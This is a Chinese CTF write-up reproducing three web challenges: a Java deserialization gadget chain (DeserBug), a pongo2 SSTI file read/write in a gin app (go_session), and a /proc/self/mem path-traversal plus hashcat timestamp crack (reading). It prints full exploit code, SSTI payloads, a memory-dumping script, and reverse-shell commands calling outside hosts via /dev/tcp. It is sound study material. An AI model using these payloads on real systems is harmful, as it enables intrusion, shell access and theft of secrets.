DeserBug 前言 第一次做(复现)比赛的java题,学到的东西很多。
主要参考的是M1sery师傅的wp。CC之前一点没学过,为了看这题刚好就顺便学了。知道这题的链条怎么走之后,再自己写exp。然后被本地通远程不通卡了一下,再去了解一下java exec 的命令怎么写。最后打通远程靶机。
M1sery 师傅的wp:https://www.yuque.com/misery333/sz1apr/pu2fcu7s6bg10333
CC链:https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20220407-cc_analysis.html
java的exec:https://blog.spoock.com/2018/11/25/getshell-bypass-exec/
java exec 写法,直接放这里了,方便记住:
// base64 是要执行的命令 Runtime.getRuntime.exec("bash -c {echo,ZW52ID4gL2Rldi90Y3AvNjEuMTM5LjY1LjEzNC8zNjI2NAo=}|{base64,-d}|{bash,-i}"); //反弹shell用这个 Runtime.getRuntime.exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.190.1/8989<&1“);
复现 链条:
HashMap ->readObject() ->hash(key) TiedMapEntry ->hashCode() ->getValue() ->map.get(key) LazyMap ->get(key) ->this.map.put(key, value) JSONObject ->put(...,value) ->value.getter Myexpect ->getAnyexcept() //这里可以调用可控类的可控参数的构造器 TrAXFilter ->TrAXFilter(templates) ->templates.newTransformer() TemplatesImpl ->newTransformer()
完整代码:
import cn.hutool.json.JSONObject; import com.app.Myexpect; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import unknown.tools.GetTemplateImpl; import unknown.tools.MyMethods; import javax.xml.transform.Templates; import java.util.Base64; import java.util.HashMap; import java.util.Map; public class Test { public static void main(String[] args) throws Exception{ TemplatesImpl templates = GetTemplateImpl.GenerateTemplate("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.190.1/8989<&1"); JSONObject json = new JSONObject(); Myexpect myexpect = new Myexpect(); myexpect.setTargetclass(TrAXFilter.class); myexpect.setTypeparam(new Class[]{Templates.class}); myexpect.setTypearg(new Object[]{templates}); Map<Object,Object> lazyMap= LazyMap.decorate(json,new ConstantTransformer(1)); TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"aaa"); HashMap hashMap = new HashMap(); hashMap.put(tiedMapEntry,"111"); lazyMap.remove("aaa"); //MyMethods是自己的写的工具类 MyMethods.setFieldValue(lazyMap,"factory",new ConstantTransformer(myexpect)); System.out.println(MyMethods.base64(MyMethods.serialize(hashMap))); //MyMethods.unserialize(Base64.getDecoder().decode(MyMethods.base64(MyMethods.serialize(hashMap)))); } }
go_session 前言 赛后复现,最大的感受就是要读官方文档,而且要仔细读。
复现这题时,已经知道了payload,但是想先自己试着找资料,看看payload是怎样来的,自己有无能力找出来。google关键词 pongo2 SSTI,但是基本搜不到现成的。官方文档我也不肯仔细读,随便翻翻,翻不到一眼看出有用的东西,所以基本没思路。
问了下Lolita,他说他的payload是从文档里看来的,我就开始沉下心来仔细翻文档了,最后成功复现。
复现 题目源码:
route.go (关于session的检测删去了)
package route import ( "github.com/flosch/pongo2/v6" "github.com/gin-gonic/gin" "github.com/gorilla/sessions" "html" "io" "net/http" "os" "fmt" ) var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY"))) func Index(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { session.Values["name"] = "admin" err = session.Save(c.Request, c.Writer) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } } c.String(200, "Hello, guest") } func Admin(c *gin.Context) { name := c.DefaultQuery("name", "ssti") xssWaf := html.EscapeString(name) tpl, err := pongo2.FromString("Hello " + xssWaf + "!") if err != nil { panic(err) } out, err := tpl.Execute(pongo2.Context{"c": c}) if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } c.String(200, out) } func Flask(c *gin.Context) { session, err := store.Get(c.Request, "session-name") if err != nil { http.Error(c.Writer, err.Error(), http.StatusInternalServerError) return } if session.Values["name"] == nil { if err != nil { http.Error(c.Writer, "N0", http.StatusInternalServerError) return } } resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest")) fmt.Println(c.DefaultQuery("name", "guest")) if err != nil { return } defer resp.Body.Close() body, _ := io.ReadAll(resp.Body) c.String(200, string(body)) }
main.go
package main import ( "github.com/gin-gonic/gin" "main/route" ) func main() { r := gin.Default() r.GET("/", route.Index) r.GET("/admin", route.Admin) r.GET("/flask", route.Flask) r.Run("0.0.0.0:85") }
5000端口跑的app.py
from flask import Flask,request import os app = Flask(__name__) @app.route('/') def index(): return '1' app.run('0.0.0.0',debug=True)
做法是通过SSTI实现任意文件读写,然后覆盖app.py。由于app.py 开了debug,所以只要app.py文件内容发生改变,就会重新加载。目的就是自己写恶意的app.py,覆盖原来的。
直接上SSTI的payload:
读文件:
#两个都可 {%include c.Request.Referer()%} {%include c.Request.Host()%}
写文件,覆盖app.py
{{c.SaveUploadedFile(c.FormFile(c.Request.Host),c.Request.Referer())}}
此时访问/shell可访问
找payload过程 先看pongo2那里做了什么。
看到是把gin.Context那个变量传了进去。
所以现在切入点是pongo2还有gin.Context。
先看pongo2,翻文档。
在这里要找到include。当然实际情况下不可能立刻找到,也可能一无所获,但还得仔细看。下面是找的过程。
Django
Django的文档
Tags
Built-in tag reference
include
上面的include可以读取文件,但现在要把文件名传进去,不能直接传引号的字符串,所以需要一个可控字符串变量。
接下来翻gin的文档。
点进去Context
Request
找到Request的Host属性,可控。
Referer方法,返回字符串,可控。
以上找是读取文件的payload,下面找写文件的payload。
回到这里,下面都是Context的方法,一个个看哪个有用:
找到一个传文件的方法:
需要一个FileHeader,找到:
需要两个可控变量,一个给dst,一个给name,上面都找到了,这样写文件的payload也出来了。
ps:这个FormFile返回值是两个值,payload直接写源码里编译不过,但是payload发过去能成功写,就很奇怪。我还是学得太少了。
reading 前言 队友Lolita做出来的,拿了一血,实在是佩服。内存里直接找secret_key不敢想,时间戳的爆破更不敢想。
简单回顾他当时做的过程。这种配合start和end读内存的题目在好几个比赛都有见,所以看到这题第一反应就是去读内存了。他想着把全部内存读出来,然后找32位的字符串,那就是secret_key或者key。
跑脚本10分钟,找到了两个32位字符串,在同一个文件,且在相邻行紧挨着。拿其中一个可以解session,那另一个就是key。他以为直接伪造就行了,没注意到/flag里要把我们输入的再md5一次。注意到这点时候,感觉思路又断了,因为靶机已经开了两个小时了,时间戳根本不可能爆出来。
刚好此时我开了另一个环境,想看看其他题,没想到reading的靶机自动关了。我感觉自己闯大祸:靶机要重开,secret_key要重爆。他也很烦,又要爆一次,然后他突然反应过来:开环境,刚好可以记时间戳!靶机开机时立刻打时间戳,就大大减小了爆破的难度。
像第一次那样得到secret_key和key,然后跑hashcat,等了7、8分钟就看到Cracked了。激动的心,颤抖的手,交了flag,拿了一血。
搭建环境 app.py
import os import math import time import hashlib from flask import Flask, request, session, render_template, send_file from datetime import datetime app = Flask(__name__) app.secret_key = hashlib.md5(os.urandom(32)).hexdigest() key = hashlib.md5(str(time.time_ns()).encode()).hexdigest() @app.route('/books', methods=['GET', 'POST']) def book_page(): filepath = request.args.get('book') if request.args.get('page_size'): page_size = int(request.args.get('page_size')) else: page_size = 3000 if request.args.get('page'): page = int(request.args.get('page')) else: page = 1 words = read_file_page(filepath, page, page_size) return '\n'.join(words) @app.route('/flag', methods=['GET', 'POST']) def flag(): if hashlib.md5(session.get('key').encode()).hexdigest() == key: return "flag{xxxxxxxxxxxxxxxxxx}" else: return "no no no" def read_file_page(filename, page_number, page_size): for i in range(3): for j in range(3): size=page_size + j offset = (page_number - 1) * page_size+i try: with open(filename, 'rb') as file: file.seek(offset) words = file.read(size) return words.decode().split('\n') except Exception as e: pass #if error again offset = (page_number - 1) * page_size with open(filename, 'rb') as file: file.seek(offset) words = file.read(page_size) return words.split(b'\n') if __name__ == '__main__': app.run(host='0.0.0.0')
开始复现 首先将maps的内容读出来,再根据这个来读取所有内存内容。
读取mem的脚本:
import requests,time,re #maps里是读maps的原始内容 maps = open('maps').read().split('\n') start_end = [] for line in maps: if ' r' not in line: #忽略不可读的内存 continue line = line.split()[0] start = line.split('-')[0] end = line.split('-')[1] start_end.append([start,end]) page_size = 4096 for i,line in enumerate(start_end): start = int(line[0],16) end = int(line[1],16) # page_size = end-start 写了这条也可 start_page = start // page_size page_num = (end-start)//page_size print(f'[*]{i + 1}/{len(start_end)}', 'page_num: ',page_num) result = open(f'my/{line[0]}-{line[1]}.bin', 'wb') for page in range(page_num): url = f'http://192.168.190.130:5000/books?book=../../../../../../../proc/self/mem&page={start_page+page}&page_size={page_size}' res = requests.get(url) result.write(res.text.encode()) result.write(b'\n') result.close()
全局正则查找:
得到两个靠的很近的32位字符串:
ba8de28bc623af25efcb50f4e09ab750
b33ff936a57adfeebbe317eb3f1e1e43
猜测一个是secret_key,一个是key,拿其中一个去解session,可以解,那另一个就是key
接下来要爆破时间戳。
在程序运行(在比赛就是开靶机)时,立刻敲几个时间戳出来,这样前面几位数字是固定的,只需要爆破后面的数字。
用hashcat: hashcat -m 0 -a 3 b33ff936a57adfeebbe317eb3f1e1e43 168534084?d?d?d?d?d?d?d?d?d?d
成功爆破。
伪造session:
访问/flag: